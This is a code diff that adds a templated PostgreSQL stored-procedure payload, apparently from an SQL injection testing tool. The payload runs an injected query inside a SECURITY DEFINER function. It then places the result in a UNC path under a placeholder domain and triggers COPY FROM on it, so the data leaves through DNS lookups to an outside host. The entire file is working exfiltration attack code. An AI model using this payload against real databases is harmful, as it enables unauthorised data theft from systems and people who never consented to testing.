Some refactoring (data)

data/procs/postgresql/dns_request.sql

@@ -0,0 +1,14 @@
+DROP TABLE IF EXISTS %RANDSTR1%;
+# https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required
+CREATE TABLE %RANDSTR1%(%RANDSTR2% text);
+CREATE OR REPLACE FUNCTION %RANDSTR3%()
+RETURNS VOID AS $$
+DECLARE %RANDSTR4% TEXT;
+DECLARE %RANDSTR5% TEXT;
+BEGIN
+SELECT INTO %RANDSTR5% (%QUERY%);
+%RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\'';
+EXECUTE %RANDSTR4%;
+END;
+$$ LANGUAGE plpgsql SECURITY DEFINER;
+SELECT %RANDSTR3%();